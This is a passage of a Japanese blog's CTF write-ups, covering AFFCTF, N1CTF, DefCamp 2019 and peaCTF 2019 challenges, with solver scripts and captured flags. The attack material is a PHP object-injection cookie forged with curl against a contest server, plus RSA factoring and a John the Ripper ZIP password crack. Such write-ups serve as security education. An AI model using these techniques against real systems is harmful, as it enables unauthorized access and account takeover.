1slbrvzlvbwxda6nrrs6b67u4d6lbn9h4emxkncxnlm0nr6dwn4bz077jo1kkx8tvgx2eucm80ivnck7dosr7nspsi61ytedp6ibathma6tt43bzsi2c754wwpva4b1fgvo17iofuc5zt52utha7h8pgz4pj2hbnz3upy0xenl504auhp4ab8daqajlj4vq9a7to4khh3pilrq0fhseumx875p47p5l6gmmymyf7ezpjmckmbkcil6h58fhxe6289qd3mxf7560k0z5fqvedw7zbtdspttl4e271sxon019spnimqi9h52u7n2et6n01vkoer2vq1grg13xgbcnq71r12ale5oljepn5hhy98lgqfln3vfsxh1qyo72sgpzw0xgyvikq3i2vgpx3hgwdahzqrnvcie5i8den16jj02s7tj453tog53xo529viq0ibsz75qlehrv240qpncvbg2or8quv6u49ngquspwjfvcd776wfu4q2jmap2crsfqgyctl4vq5do0x9m1820mq6fa9ewfgqs08dvfhz2v70kexnz548xlanorujm6uocnznqq962869ga0tsc21jpzmbm0wt9q6y2rrhtq59mknd74aabwm7m6oy05hq7r7t3lzw0uyl8pcai86845ynqfdc1jnizope8p0fskpmr5hnsxum9jf32hb4umrgll25e5ltd0xzrumcbj3ahyxa2r1g6e7syix9wq8q88wvlcvc77lf28a3lplb6q5g4vjlzktj559qv22zjf8a81we7i2gw0lej946mh4si0ldift07gb7vvjf0z2r2zay6aek7k32cwd67drqq8iaqalz021ircoxzr6n5egrpqw6w0lggzp0n4w3jgijxx6im6r477j0v52jo07uc5izipesedd24zcyasdqa5yolt4y4yr0nuwzelmlg9cgm9bjjcp2er35j1hkxtdhyklkk7nqaqvooswh3hh59kno1wggf96puwc6tup743w7b8kmis9ilxh8z390u0822xq3851ionsbse2eackkkh0acxdacjtqrxid8a1belk95o7ges0zu3zr5hx0q6xvx7lhu9f37tfbtk7bczclryuu1pug3ke33w34andbcpfk7r60ifath13us4y7136rzy1le1a7c7nfvmn2uktm4xzyekkhms7fy3qs9kh35ztj7biyy8s8jytqx37mcqokkd3zjr9kmbif8o0hm0m6mexmdzqwn04xxlrof54jo51r43syffha1chik8djb3bzgs9g4o301hi3emyah6hgmazzgqgc57iwyidjtmylvrzlsfz8wor61cq2r67pkkjfz9evzn2i7kqaj07ht7abluxhn8aa373bifobclsz6qqeuybfy08vyojnse0hybr1fe5cnicm7tyvz5o24a8e9x24z2x2vpwqszed1ficdbc43y78gkexgvrau2sf9q34u5d10lk7vwjp89bx5gunxzch0v62qnbjutokgrv7d72ox1cnlfwrpp8lehqvyi9aqgjnanmyj2buynu2sf89huemau0kukbjw831nwppqnlr40lqy5w9fp6bldhv8d4bdcsuw3oz6carp2e7hgk6z6bx7tp468qokhyorwonyfwlkk8suqdx7ywj1foxbmf9xnsr7kh887q9712s32d6lsj4rcx44ya4d8z8ayzrvosmb11sw87j5yyiooxxbul150rgl7kxq3tewyn75t9hxtekfqsf22vja6smpjazfekg0pdqrg1hnb6yoqu045dg8fwqc7ls4zcbf94mwv2hkits9itnntqdo23uc8xcqcovhxr6aw6xvseaoc96p5xsucubgbxkwo8rqfdcb8851fvyl51rkkfpc9jfb8ygryc8sapluhh7uzqqsfx47k4id5lnnayitp0v5emnntc0f730s1yiy3upxb7fflp9m7dmgt7qajaiqq2f3y5ey69bxv43f7cxtlcxbar1agfyei2rpajdb1by5ch6508lo8w66g4qdaj7ilgmepg5p1ck2sek3u3vkde3daolt5y1lq2pyz3ds0436lgucspa4xvj0563z0rxdbd7qn23ftcsf2bmo8nr7go9cffanqfp31kqtluw7zbnuanx4thilmabc18yydjkw4fl9aio76kejkn4qr2wau4egbv5ntb5jc4dupt400k98bluy4whpl5cck4i4pd3v05dr6ifqqo52161g5qe465s4bougpco3qwugfv88vhkhk1gou5fz7noe98ffcxl0b1qjdznvh3rii5ufhj47dxygcnh0a1kud5lysegcbz00mrvl1v6q62yd481wnb0d6ptof29iqjoxnvol6sjtwdhxyy95494jur0dm41yi857spg2qixbmnh51qspp2c8enpd4pb63olmxsktdxt6dp5qfmxrnxi3jfmvu99d44axhe9g5by4vt6y3efu5pwni9rtwvcatekv15xzvrwko0ciu4lnkwxud1qw130z7w2djzyz5mkxmv40q18v95qhhg90pxotp6647y2f1q5bom7xwm94g2ao7akxcfxfhn9whioanavjmb3j2a7inb49aigfy70t0tlpmep3jxyjkydwdckyrdd8io4e0zq9swb4ydv18fkefwuk1ru6q0rovtzkx2rzz2s79n0pf1g4ak2errugcdcc2any7ok2scyqwumygncng5u2tcbyj1zsye98xayk6mjixu2zb5gc9htimpi860n5jx7gzwfed616pgmk1rnsmhl11r2av7190e9j5yn39fe6u4csyz49gl9dtf0299907hc3f4d9hc05n5zmfn82w55tcc3rn11o3jxpd35wxn2mt1gcwhuetwqolvwtg0u70h0sck8q8g1fibwkvh8xh9vc534ixagokrsaq891gwbzvqkpat5xa8engvcuygl73rp639hskqa9oix9p1vgp5ilo2u6bjdxzf96gi9qlcihwvo3uk59ry4mrm8d2fm3nc4mm9f6gvwsq5j7pgx5dhwaa79qu32p9zaaqo9nntsbg8wv6zyae6ehwqbdc6ucv5o4sahbkbqbqo395o0fsrwwowy8tt3fx12ddz4jooqh17f8y1ouq3wo40q4wq958iyc82qcl6tgrdkqrej8h3meyhtdjzq62l91gsakx7z66oa1dfcndc7rkj6q0k3h4w051ohvz87qq5x1fqx87it

Wall: 1
Shelf: 1
Volume: 3
Page: 33

すると、この長い文章の中に以下の情報を見つけた。

password is periodicandselfrepeating

これをパスフレーズとして、秘密鍵パスフレーズを解除する。

$ openssl rsa -in secret2.pem -out secret2_without_pass.pem
Enter pass phrase for secret2.pem:
writing RSA key

このファイルをWiresharkで設定して通信を見てみる。/flagをGETしているのでそのレスポンスを見ると、フラグが書いてあった。

AFFCTF{73H_liBr4Ry_0F_B4b3l_!!}

N1CTF 2019 Writeup

この大会は2019/9/6 21:00(JST)~2019/9/8 21:00(JST)に開催されました。
今回もチームで参戦。結果は12点で853チーム中365位でした。
自分で解けた問題をWriteupとして書いておきます。

Part1-Checkin (Misc)

Webでプロンプト入力ができる。まずhelpでコマンドを確認する。その中にreadflagがあったので、実行してみたらフラグが表示された。
f:id:satou-y:20190913064248p:plain

N1CTF{Welcome_to_N1CTF2019_havefun_wow}

DefCamp CTF Qualification 2019 Writeup

この大会は2019/9/7 18:00(JST)~2019/9/8 18:00(JST)に開催されました。
今回もチームで参戦。結果は548点で304チーム中54位でした。
自分で解けた問題をWriteupとして書いておきます。

Ascii (Warmup)

$ python -c "print '\x44\x2d\x43\x54\x46\x20\x32\x30\x31\x39'"
D-CTF 2019
DCTF{D-CTF 2019}

Binary (Warmup)

10進数を2進数で答える問題。

>>> bin(1337)
'0b10100111001'
DCTF{0b10100111001}

base (Warmup)

$ nc 206.81.24.129 4441
What is the value of <<63982895>> in hex?
Input: 

16進数への変換、16進数からASCII文字への変換、8進数からASCII文字への変換を聞かれるので、答えていくスクリプトを作成し、実行する。

import socket
import re

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

pattern = '<<(.+)>>'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('206.81.24.129', 4441))

data = recvuntil(s, ': ')
m = re.search(pattern, data)
chal = int(m.group(1))
ans = hex(chal)
print data + ans
s.sendall(ans + '\n')

data = recvuntil(s, ':')
m = re.search(pattern, data)
chal = m.group(1)
ans = chal.decode('hex')
print data + ans
s.sendall(ans + '\n')

data = recvuntil(s, ':')
m = re.search(pattern, data)
chal = m.group(1)
codes = chal.split(' ')
ans = ''
for code in codes:
    ans += chr(int(code, 8))
print data + ans
s.sendall(ans + '\n')

data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

What is the value of <<27527788>> in hex?
Input: 0x1a40a6c
What is the value of <<6b7771697664646f71666e7963706964737a6e6a>> in ASCII?
Input:kwqivddoqfnycpidsznj
What is the value of <<0152 0164 0164 0170 0160 0160 0151 0170 0156 0163 0164 0153 0142 0167 0153 0171 0163 0164 0172 0162>> in ASCII?
Input:jttxppixnstkbwkystzr
DCTF{1DC93CBD89FF120030210E09EEDFF52FEE06DE5973BF39CC05FA3BB22E075E43}
DCTF{1DC93CBD89FF120030210E09EEDFF52FEE06DE5973BF39CC05FA3BB22E075E43}

Cross or zero (Warmup)

フラグがDCTF{で始まることを前提にXOR鍵を求める。結果的には鍵は1文字のようだったので、それを元に復号する。

import itertools
import base64

def string_xor(s, key):
    key = key * (len(s) / len(key) + 1)
    return ''.join(chr(ord(x) ^ ord(y)) for (x,y) in itertools.izip(s, key))

enc = 'dHNkdktUAFMBA1MIBglWBgkFCFEGBQlUCQRRBAgIBgQAVVRUAwkEBFEAAVRVVVRTBFRWBQdUBlMAB1YJVQYIBwIIBFVSTQ=='

flag_head = 'DCTF{'

enc = base64.b64decode(enc)

key = string_xor(flag_head, enc[:len(flag_head)])
key = key[0]

flag = string_xor(enc, key)
print flag
DCTF{d0c13c869f6958a659d94a488640edd3944a01deedc4df57d6c07f9e687284eb}

Corrupt file (Warmup)

flag.docxを解凍すると、flagファイルの中にフラグが書いてあった。

DCTF{a0bd4e405bc4e1fcf840c7c231181970e2b6fde7c60d4a0a415897bf07f8e17b}

Password (Warmup)

Easy Python Decompilerでデコンパイルする。

# Embedded file name: chall.py
a = 'DCTF{09fa'
c = '4d3142a6a'
b = '7ab70e9aa'
f = '1929d62e0'
g = '805934d86'
d = 'd4b55ea5b'
e = '1a436b536'
h = '59eadd}'
flag = a + b + c + d + e + f + g + h
password = 'Pass999990000!!!))))'
print 'Enter the password: '
buf = raw_input()
if password == buf:
    print flag
else:
    print 'Wrong password!'

a~hまで順に結合したものがフラグ。

DCTF{09fa7ab70e9aa4d3142a6ad4b55ea5b1a436b5361929d62e0805934d8659eadd}

Salad (Warmup)

シーザー暗号。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 11:
DCTF{b3cf67c8a4559247641d321fb60f1be7751b4075dfe72ca351f0072131e6ddb1}
DCTF{b3cf67c8a4559247641d321fb60f1be7751b4075dfe72ca351f0072131e6ddb1}

Get of your sunglasses (Warmup)

pastebinにアクセスすると、以下が書いてある。

DCTF{⠼⠁⠼⠁⠃⠼⠃⠼⠚⠼⠊⠁⠋⠑⠼⠉⠼⠑⠋⠼⠉⠼⠉⠼⠁⠃⠼⠊⠙⠼⠛⠼⠁⠼⠊⠼⠁⠁⠁⠼⠑⠼⠃⠼⠙⠼⠉⠼⠁⠃⠼⠑⠼⠛⠼⠋⠙⠼⠙⠁⠼⠋⠑⠃⠼⠉⠃⠼⠁⠙⠼⠁⠼⠊⠼⠊⠉⠼⠃⠑⠼⠓⠼⠙⠼⠓⠉⠼⠑⠙⠼⠓⠉⠼⠋⠼⠉⠼⠋⠼⠉⠙⠼⠛⠼⠃}

点字のようなので、それぞれ文字に対応していく。

DCTF{11b209afe35f331b9d7191aa52431b576d4a6eb3b1d199c2e848c5d8c6363d72}

Inception (Warmup)

$ binwalk chall.jpeg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
382           0x17E           Copyright string: "Copyright (c) 1998 Hewlett-Packard Company"
110955        0x1B16B         PNG image, 400 x 400, 1-bit colormap, non-interlaced
111014        0x1B1A6         Zlib compressed data, default compression

PNGを切り出す。
f:id:satou-y:20190915190415p:plain
QRコードになっているので、読み取る。

DCTF{394a6dc71dee0bc7de700d28da66c836a534a72d417b1f25b6776d35a82b07f0}

Good Pasta (Warmup)

問題文はこうなっている。

My pasta recipe is at b7LejBXE. Enjoy

問題タイトルとこの文字を考えると、Pastebinがあやしい。
https://pastebin.com/b7LejBXEにアクセスすると、フラグが書いてあった。

DCTF{85e0e9595c8a98e174e9164035e7e6afaa7735286f2fcd856dec26e9a825c364}
Do not search for flags. This is the flag for warm up.
DCTF{85e0e9595c8a98e174e9164035e7e6afaa7735286f2fcd856dec26e9a825c364}

Trend Micro CTF 2019 - Raimund Genes Cup - Online Qualifier 参戦

この大会は2019/9/7 13:00(JST)~2019/9/8 13:30(JST)に開催されました。
今回もチームで参戦。結果は1104点で174チーム中18位でした。
Comboの問題にはまり時間内に解けず、
自分が得点した問題は1問もありませんでした。。。本当に残念!

peaCTF 2019 (Round 2) Writeup

この大会は2019/8/31 9:00(JST)~2019/9/6 9:00(JST)に開催されました。
今回もチームで参戦。結果は4850点...のはずです。
途中で、shell1.2019.peactf.comがダウンし、添付ファイルをダウンロードすることができなくなり、シェルサーバやnc接続、Web問題の問題ページにアクセスできず、問題が解けない状況になり、最後まで復旧しませんでした。スコアボードもおかしな状況で、順位はわかりません。
最初にファイルを入手し、それだけで解ける問題だけしか挑戦すらできなかったので、どんな問題だったのか知りたいものです。CTFとしては最悪に近い大会でした。
一応自分で解けた問題をWriteupとして書いておきます。

Not The Droids (Reversing 1000)

apkファイルが添付されていたので、まず解凍してみる。
するとdex-layout/parsedump/dex-dump.dexにフラグが書いてあった。

peaCTF{Use_The_Forks}

Guillotine (Forensics 1200)

添付ファイルはPNGのIDATチャンクだけのデータのように見える。幅と高さ、カラータイプに問題に記載しているものを指定して、IHDRチャンクを作って、PNGを構成する。

import struct
import binascii

with open('hail-hydra', 'rb') as f:
    idat = f.read()

PNG_HEAD = '\x89PNG\x0d\x0a\x1a\x0a'
IHDR_LEN = '\x00\x00\x00\x0d'
IHDR_CHUNK = 'IHDR'
IHDR_TAIL = '\x08\x06\x00\x00\x00'
IEND = '\x00\x00\x00\x00IEND\xae\x42\x60\x82'

out = PNG_HEAD 
IHDR_WIDTH = struct.pack('>I', 2679)
IHDR_HEIGHT = struct.pack('>I', 1724)
IHDR = IHDR_CHUNK + IHDR_WIDTH + IHDR_HEIGHT + IHDR_TAIL
IHDR_CRC = struct.pack('!l', binascii.crc32(IHDR))
out += IHDR_LEN + IHDR + IHDR_CRC + idat + IEND

with open('hail-hydra.png', 'wb') as f:
    f.write(out)

復元したPNG画像にフラグが書いてある。
f:id:satou-y:20190912213312p:plain
どうやら、フラグは"_"区切りで先頭を大文字にしてやる必要があるみたい。

peaCTF{Just_A_Flesh_Wound}

RSA 2 (Cryptography 1250)

Round 1のときのRSAの問題を参考に考え、方針を立てる。それぞれ得られた文字列を結合すると、フラグになる。

Encrypted Channel #1:
nをfactordbで素因数分解し、復号する。
n = 699341830973140937533889347153873853 * 1038712512706646268598380266466164687

Encrypted Channel #2:
nをfactordbで素因数分解し、復号する。
n = 737717913006402005436955273940076541 * 1297159581898303872138969477851535643

Authenticated Channel #1:
encryptすると、mのhash値が得られるので、総当たりで求める。

Authenticated Channel #2:
encryptすると、mのhash値が得られるので、総当たりで求める。
from Crypto.Util.number import *
import string
import itertools
import hashlib

chars = string.lowercase + string.digits

n = 726415110490977923087790491827227969870609358082104062497204843521229011
e = 65537
c = 19893771441136011784712095817339088129586581147600336598861776491438381

p = 699341830973140937533889347153873853
q = 1038712512706646268598380266466164687

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)

flag1 = long_to_bytes(m)
print flag1

n = 660472957694887679823683652043504023558962189001524727432185600461464707
e = 65537
c = 336302789914193201113048946294125165277516967600443771876900092183949803

m = pow(c, e, n)
h = hex(m)[2:].rstrip('L').zfill(32)

found = False
for r in range(1, 6):
    for c in itertools.product(chars, repeat=r):
        flag2 = '{' + ''.join(c)
        if hashlib.md5(flag2).hexdigest() == h:
            found = True
            break
    if found:
        break
print flag2

n = 956937859594273733490090980504656161254530199464758123399543277809650863
e = 65537
c = 833491301056670884588591723643760158187417664848645486045165661247902338

p = 737717913006402005436955273940076541
q = 1297159581898303872138969477851535643

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)

flag3 = long_to_bytes(m)
print flag3

n = 654188640139815964805735669661611985336438765327491142066046193716545173
e = 65537
c = 382925171692094135776256838458454846460548877183442727284045377051487081

m = pow(c, e, n)
h = hex(m)[2:].rstrip('L').zfill(32)

found = False
for r in range(1, 6):
    for c in itertools.product(chars, repeat=r):
        flag4 = ''.join(c) + '}'
        if hashlib.md5(flag4).hexdigest() == h:
            found = True
            break
    if found:
        break
print flag4

flag = flag1 + flag2 + flag3 + flag4
print flag
peaCTF{br4k1ngh4sh3s4fun}

Droid Rage(Reversing 1400)

apkファイルが添付されていたので、まず解凍する。その後dex2jarでdexファイルからjarファイルに変換する。

>d2j-dex2jar classes.dex
dex2jar classes.dex -> .\classes-dex2jar.jar

それからJD-GUIデコンパイルする。フラグに関係があるコードがある。

      if ((str1.equals("hulkhogan@exeter.edu")) && (str2.equals("HandShake")))
        Toast.makeText(getApplicationContext(), "Junk_Food_Junkie", 1).show();
      Toast.makeText(getApplicationContext(), "Incorrect Password", 0).show();
peaCTF{Junk_Food_Junkie}

peaCTF 2019 (Round 1) Writeup

この大会は2019/7/22 9:00(JST)~2019/7/29 9:00(JST)に開催されました。
今回もチームで参戦。結果は5100点満点で到達順で45位でした。
少し古いですが、Round 2も終わったので、まずはRound 1からということで、
自分で解けた問題をWriteupとして書いておきます。

Breakfast (Cryptography 50)

問題文中の"bacon"が強調されている。Bacon's cipherか?
https://en.wikipedia.org/wiki/Bacon%27s_cipherを参考にしながら、復号する。

011100010000000000101001000101{00100001100011010100000000010100101010100010010001}
p    e    a    C    T    F    {e    g    g    w    a    f    f    l    e    s    }
peaCTF{eggwaffles}

Broken Keyboard (Cryptography 50)

スペース区切りで、ASCIIコードが並んでいるので、文字にしていく。

with open('enc.txt', 'r') as f:
    enc = f.read()

codes = map(int, enc.split(' '))

flag = ''
for code in codes:
    flag += chr(code)

print flag
peaCTF{4sc11isc00l}

Worth (General Skills 50)

問題文にはこう書いてある。

This problem is worth 0o1121 points.

8進数かな。そのままPythonのプロンプトで実行する。

>>> 0o1121
593

フラグはpeaCTF{593}でいいのかな…でも通らない。いろいろ試したがダメ。減点されないので、ヒントを見てみると、フラグ形式は flag{peactf_} だと書いてある。

flag{peactf_593}

Hide and Seek (General Skiils 100)

たくさんあるファイルの中にフラグがあるらしい。

$ grep -r flag /problems/hide-and-seek_39_0b4db346c77a5dce4a7e4936f6433bb9     
/problems/hide-and-seek_39_0b4db346c77a5dce4a7e4936f6433bb9/529301771af54639459f293c63e78d8a/bc3fb39dc7fca0ab9
c4f7666f06b95aa/b088fa1251e1c8ff69d1f75c9e37172e/978a90d0d7e69ce7c7bcd95edbfd7b1a/1fa3c9c39d6a44606a7cc6099c43
d9ee/5035d74921232b829351b1c53a5882b0/e3081231952652d2dadb7dbdbe404b7b/a0f8cd3cb8f6a32285c6d6a92cfed0d4/741b35
fa1b7d48574fff8acf8f944b9e/5c21db84f7afbd20422a009c3409c854/210dfc5d908507adc185fdaee2120d57/994f0f0c950d6248d
0ccecbe8c7f2a20/931afb98dbd410796b3798e74589ba55/ae303387176fdf998c9ce4db84904314/133b7a5aa8315d4d0a82c40fa14a
59b9/48f1814fc964c6ec623382b158b22596/8aefdd1c695a92ee84c72fd39bdf7979/318af8179a81178c1d8efcaef7c33919/c4c940
68d0b638d15f8f06109090ba50/flag.txt:flag{peactf_linux_is_fun_dec4ab2bb00cf7ce5b3b49af64c15502}
flag{peactf_linux_is_fun_dec4ab2bb00cf7ce5b3b49af64c15502}

School (Cryptography 100)

換字式暗号。換字表を使って復号する。

import string

C = 'WCGPSUHRAQYKFDLZOJNXMVEBTI'
P = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
enc = 'zswGXU{ljwdhsqmags}'

flag = ''
for e in enc:
    if e in string.uppercase:
        d = P[C.index(e)]
    elif e in string.lowercase:
        d = P[C.index(e.upper())].lower()
    else:
        d = e
    flag += d

print flag
peaCTF{orangejuice}

Choose your Pokemon (Forensics 150)

$ file master-ball 
master-ball: RAR archive data, v80, flags: Solid, Authenticated,
$ mv master-ball master-ball.rar
$ unrar e master-ball.rar 

UNRAR 5.30 beta 2 freeware      Copyright (c) 1993-2015 Alexander Roshal


Extracting from master-ball.rar

Extracting  roshambo                                                  OK 
All OK
$ file roshambo
roshambo: Zip archive data, at least v2.0 to extract
$ mv roshambo roshambo.zip
$ unzip roshambo.zip 
Archive:  roshambo.zip
  inflating: inDesign
$ file inDesign 
inDesign: PDF document, version 1.7

pdfに書かれているURLにアクセスする。

https://pastebin.com/AWTDEb9j

rtfのデータが貼り付けられている。rtfファイルとして開くと、フラグが書いてあった。

{wild_type}

Coffee Time (Reversing 250)

jarファイルが添付されている。JD-GUIデコンパイルする。

public class CoffeeTime
{
  public static void main(String[] args) throws Exception { new CoffeeTime(); }

  
  public CoffeeTime() throws IOException, InterruptedException {
    LineReader lineReader = LineReaderBuilder.builder().terminal(TerminalBuilder.terminal()).build();
    String line = lineReader.readLine("Can you give me some time to calculate a number? [y/n]\n");
    if (line.equals("y")) {
      Random random = new Random();
      BigInteger bigInteger = new BigInteger(2000, random);
      long timestart = System.currentTimeMillis();
      BigInteger result = bigInteger.pow(10000);
      long timeend = System.currentTimeMillis();
      int secs = (int)((timeend - timestart) / 5.0D);
      System.out.println("\nWhat is " + bigInteger + " to the power of 10000?");
      System.out.println("You have " + (secs / 1000.0D) + " seconds to answer.");
      Thread.sleep(secs);
      line = lineReader.readLine();
      System.out.println("\nPlease wait.");
      if (line.equals(result.toString())) {
        if (System.currentTimeMillis() > timeend + secs) {
          System.out.println("Uh-oh, time's out.");
        } else {
          System.out.println("peaCTF{nice_cup_of_coffee}");
        } 
      } else {
        System.out.println("Wrong answer, unfortunately.");
      } 
    } 
  }
}

フラグが書いてあった。

peaCTF{nice_cup_of_coffee}

We are E.xtr (Forensics 350)

PNGヘッダが壊れている。89 50 4e 47に修正すると、画像にフラグが書かれていた。
f:id:satou-y:20190911212636p:plain

{read_banned_it}

Crack the Key (Cryptography 450)

Vigenere暗号。https://www.guballa.de/vigenere-solverで復号する。

MRJONESOFTHEMANORFARMHADLOCKEDTHEHENHOUSESFORTHENIGHTBUTWASTOODRUNKTOREMEMBERTOSHUTTH
EPOPHOLESWITHTHERINGOFLIGHTFROMHISLANTERNDANCINGFROMSIDETOSIDEHELURCHEDACROSSTHEYARDKIC
KEDOFFHISBOOTSATTHEBACKDOORDREWHIMSELFALASTGLASSOFBEERFROMTHEBARRELINTHESCULLERYANDM
ADEHISWAYUPTOBEDWHEREMRSJONESWASALREADYSNORINGASSOONASTHELIGHTINTHEBEDROOMWENTOUTTHEREW
ASASTIRRINGANDAFLUTTERINGALLTHROUGHTHEFARMBUILDINGSWORDHADGONEROUNDDURINGTHEDAYTHATOLDMA
JORTHEPRIZEMIDDLEWHITEBOARHADHADASTRANGEDREAMONTHEPREVIOUSNIGHTANDWISHEDTOCOMMUNICATE
ITTOTHEOTHERANIMALSITHADBEENAGREEDTHATTHEYSHOULDALLMEETINTHEBIGBARNASSOONASMRJONESWASSAFELY
OUTOFTHEWAYOLDMAJORSOHEWASALWAYSCALLEDTHOUGHTHENAMEUNDERWHICHHEHADBEENEXHIBITEDWASWILLI
NGDONBEAUTYWASSOHIGHLYREGARDEDONTHEFARMTHATEVERYONEWASQUITEREADYTOLOSEANHOURSSLEEPINORDERT
OHEARWHATHEHADTOSAYATONEENDOFTHEBIGBARNONASORTOFRAISEDPLATFORMMAJORWASALREADYENSCONCED
ONHISBEDOFSTRAWUNDERALANTERNWHICHHUNGFROMABEAMHEWASTWELVEYEARSOLDANDHADLATELYGROWNRATHER
STOUTBUTHEWASSTILLAMAJESTICLOOKINGPIGWITHAWISEANDBENEVOLENTAPPEARANCEINSPITEOFTHEFAC
TTHATHISTUSHESHADNEVERBEENCUTBEFORELONGTHEOTHERANIMALSBEGANTOARRIVEANDMAKETHEMSELVESCOMFOR
TABLEAFTERTHEIRDIFFERENTFASHIONSFIRSTCAMETHETHREEDOGSBLUEBELLJESSIEANDPINCHERANDTHENTHE
PIGSWHOSETTLEDDOWNINTHESTRAWIMMEDIATELYINFRONTOFTHEPLATFORMTHEHENSPERCHEDTHEMSELVESONTH
EWINDOWSILLSTHEPIGEONSFLUTTEREDUPTOTHERAFTERSTHESHEEPANDCOWSLAYDOWNBEHINDTHEPIGSANDBE
GANTOCHEWTHECUDTHETWOCARTHORSESBOXERANDCLOVERCAMEINTOGETHERWALKINGVERYSLOWLYANDSETTINGD
OWNTHEIRVASTHAIRYHOOFSWITHGREATCARELESTTHERESHOULDBESOMESMALLANIMALCONCEALEDINTHESTRAWCLO
VERWASASTOUTMOTHERLYMAREAPPROACHINGMIDDLELIFEWHOHADNEVERQUITEGOTHERFIGUREBACKAFTERHERF
OURTHFOALBOXERWASANENORMOUSBEASTNEARLYEIGHTEENHANDSHIGHANDASSTRONGASANYTWOORDINARYHORSESP
UTTOGETHERAWHITESTRIPEDOWNHISNOSEGAVEHIMASOMEWHATSTUPIDAPPEARANCEANDINFACTHEWASNOTOFFI
RSTRATEINTELLIGENCEBUTHEWASUNIVERSALLYRESPECTEDFORHISSTEADINESSOFCHARACTERANDTREMENDOUSPOW
ERSOFWORKAFTERTHEHORSESCAMEMURIELTHEWHITEGOATANDBENJAMINTHEDONKEYBENJAMINWASTHEOLDESTA
NIMALONTHEFARMANDTHEWORSTTEMPEREDHESELDOMTALKEDANDWHENHEDIDITWASUSUALLYTOMAKESOMECYNICA
LREMARKFORINSTANCEHEWOULDSAYTHATGODHADGIVENHIMATAILTOKEEPTHEFLIESOFFBUTTHATHEWOULDSOON
ERHAVEHADNOTAILANDNOFLIESALONEAMONGTHEANIMALSONTHEFARMHENEVERLAUGHEDIFASKEDWHYHEWOULDS
AYTHATHESAWNOTHINGTOLAUGHATNEVERTHELESSWITHOUTOPENLYADMITTINGITHEWASDEVOTEDTOBOXERTHETWOOF
THEMUSUALLYSPENTTHEIRSUNDAYSTOGETHERINTHESMALLPADDOCKBEYONDTHEORCHARDGRAZINGSIDEBYSID
EANDNEVERSPEAKING

鍵はredpineapplesであることもわかる。

peaCTF{redpineapples}

RSA (Cryptography 500)

enc_channelのnをfactordbで素因数分解する。

p = 404796306518120759733507156677
q = 408801179738927870766525808109

そのまま復号すると、フラグの前半が得られる。
auth_channelの方はenc_channelとは逆に暗号化すると、フラグの後半が得られ、結合すれば、フラグになる。

from Crypto.Util.number import *

n = 165481207658568424313022356820498512502867488746572300093793
e = 65537
c = 150635433712900935381157860417761227624682377134647578768653

p = 404796306518120759733507156677
q = 408801179738927870766525808109

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)

flag1 = long_to_bytes(m)

n = 59883006898206291499785811163190956754007806709157091648869
e = 65537
c = 23731413167627600089782741107678182917228038671345300608183

m = pow(c, e, n)

flag2 = long_to_bytes(m)

flag = flag1 + flag2
print flag
peaCTF{f4ct0r1ng1sfun}

Educated Guess (Web Exploitation 600)

コードは以下のようになっている。

<!doctype html>
<html>
<head>
    <title>Secured System</title>
</head>
<body>
<?php

// https://www.php-fig.org/psr/psr-4/

function autoload($class)
{
    include $class . '.class.php';
}

spl_autoload_register('autoload');

if (!empty($_COOKIE['user'])) {
    $user = unserialize($_COOKIE['user']);

    if ($user->is_admin()) {
        echo file_get_contents('../flag');
    } else {
        http_response_code(403);
        echo "Permission Denied";
    }
} else {
    echo "Not logged in.";
}
?>
</body>
</html>

入力データをunserializeしていることから、PHP Object Injectionで攻めればよさそう。

$ curl http://shell1.2019.peactf.com:27069/user.class.php
Not Found
$ curl http://shell1.2019.peactf.com:27069/User.class.php

さらにUserクラスがサーバにあることがわかる。これを前提に、シリアライズしたオブジェクトを作成して、クッキーで渡す。

$ cat serializeuser.php
<?php
Class User {
    private $admin = true;
}
$user = new User();
echo 'user=' . urlencode(serialize($user));
?>
$ php serializeuser.php 
user=O%3A4%3A%22User%22%3A1%3A%7Bs%3A11%3A%22%00User%00admin%22%3Bb%3A1%3B%7D
$ curl -b 'user=O%3A4%3A%22User%22%3A1%3A%7Bs%3A11%3A%22%00User%00admin%22%3Bb%3A1%3B%7D' http://shell1.2019.peactf.com:27069/query.php
<!doctype html>
<html>
<head>
    <title>Secured System</title>
</head>
<body>
flag{peactf_follow_conventions_3bde1843fbe72e198d2122d1bfab1faf}</body>
</html>
flag{peactf_follow_conventions_3bde1843fbe72e198d2122d1bfab1faf}

The Wonderful Wizard (Forensics 750)

PNGファイルが添付されている。Stegsolveで開き、Red plane 3を見る。
f:id:satou-y:20190911213458p:plain

66 6c 61 67 7b 70 65 61 63 74 66
5f 77 68 65 72 65 5f 74 68 65 5f
77 69 6e 64 5f 62 6c 6f 77 73 7d

ASCIIコードが並んでいるので、デコードする。

enc = '''
66 6c 61 67 7b 70 65 61 63 74 66
5f 77 68 65 72 65 5f 74 68 65 5f
77 69 6e 64 5f 62 6c 6f 77 73 7d
'''

enc = enc.replace('\n', ' ')[1:-1]
codes = enc.split(' ')

flag = ''
for code in codes:
    flag += chr(int(code, 16))

print flag
flag{peactf_where_the_wind_blows}

Song of My People (Forensics 800)

パスワード付きZIPファイルが添付されている。John The Ripperでクラックする。

$ ~/john-1.9.0-jumbo-1/run/zip2john song_of_my_people.zip > hash.txt
ver 2.0 efh 9901 song_of_my_people.zip/Ice Cube - Check Yo Self Remix (Clean).mp3 PKZIP Encr: cmplen=5550839, decmplen=5601208, crc=3F7D5D
ver 2.0 efh 9901 song_of_my_people.zip/README.txt PKZIP Encr: cmplen=132, decmplen=123, crc=E3A5855B
ver 2.0 efh 9901 song_of_my_people.zip/a lengthy issue.png PKZIP Encr: cmplen=42909, decmplen=44525, crc=6514CE68
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.

$ ~/john-1.9.0-jumbo-1/run/john --wordlist=dict/rockyou.txt hash.txt --rules
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 128/128 AVX 4x])
